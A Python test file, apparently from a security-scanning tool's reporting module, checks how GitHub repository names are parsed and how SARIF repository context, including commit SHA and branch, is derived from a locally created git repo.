||||||
|
|
||||||
|
def test_parse_repo_full_name_handles_common_forms() -> None:
|
||||||
|
assert _parse_repo_full_name("https://github.com/acme/widget") == "acme/widget"
|
||||||
|
assert _parse_repo_full_name("https://github.com/acme/widget.git") == "acme/widget"
|
||||||
|
assert _parse_repo_full_name("git@github.com:acme/widget.git") == "acme/widget"
|
||||||
|
assert _parse_repo_full_name("acme/widget") == "acme/widget"
|
||||||
|
assert _parse_repo_full_name("") is None
|
||||||
|
assert _parse_repo_full_name("nothost") is None
|
||||||
|
|
||||||
|
|
||||||
|
def test_repository_context_none_for_non_repository_targets() -> None:
|
||||||
|
state = ReportState(run_name="t")
|
||||||
|
state.run_record["targets_info"] = [
|
||||||
|
{"type": "web_application", "details": {"target_url": "https://example.com"}}
|
||||||
|
]
|
||||||
|
assert state._sarif_repository_context() is None
|
||||||
|
|
||||||
|
|
||||||
|
def test_repository_context_uri_only_without_clone() -> None:
|
||||||
|
state = ReportState(run_name="t")
|
||||||
|
state.run_record["targets_info"] = [
|
||||||
|
{"type": "repository", "details": {"target_repo": "https://github.com/acme/widget"}}
|
||||||
|
]
|
||||||
|
ctx = state._sarif_repository_context()
|
||||||
|
assert ctx == {
|
||||||
|
"repositoryUri": "https://github.com/acme/widget",
|
||||||
|
"repositoryFullName": "acme/widget",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def test_repository_context_derives_commit_and_branch_from_clone(tmp_path: Path) -> None:
|
||||||
|
repo = tmp_path / "widget"
|
||||||
|
repo.mkdir()
|
||||||
|
|
||||||
|
def _git(*args: str) -> None:
|
||||||
|
subprocess.run( # noqa: S603
|
||||||
|
["git", "-C", str(repo), *args], # noqa: S607
|
||||||
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
_git("init", "-b", "main")
|
||||||
|
_git("config", "user.email", "t@example.com")
|
||||||
|
_git("config", "user.name", "Test")
|
||||||
|
(repo / "README.md").write_text("hi", encoding="utf-8")
|
||||||
|
_git("add", "README.md")
|
||||||
|
_git("commit", "-m", "init")
|
||||||
|
|
||||||
|
head = subprocess.run( # noqa: S603
|
||||||
|
["git", "-C", str(repo), "rev-parse", "HEAD"], # noqa: S607
|
||||||
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
).stdout.strip()
|
||||||
|
|
||||||
|
state = ReportState(run_name="t")
|
||||||
|
state.run_record["targets_info"] = [
|
||||||
|
{
|
||||||
|
"type": "repository",
|
||||||
|
"details": {
|
||||||
|
"target_repo": "https://github.com/acme/widget",
|
||||||
|
"cloned_repo_path": str(repo),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
]
|
||||||
|
ctx = state._sarif_repository_context()
|
||||||
|
assert ctx is not None
|
||||||
|
assert ctx["repositoryUri"] == "https://github.com/acme/widget"
|
||||||
|
assert ctx["repositoryFullName"] == "acme/widget"
|
||||||
|
assert ctx["commitSha"] == head
|
||||||
|
assert ctx["branch"] == "main"
|
||||||
|
assert ctx["ref"] == "refs/heads/main"
|
||||||
Reference in New Issue
Block a user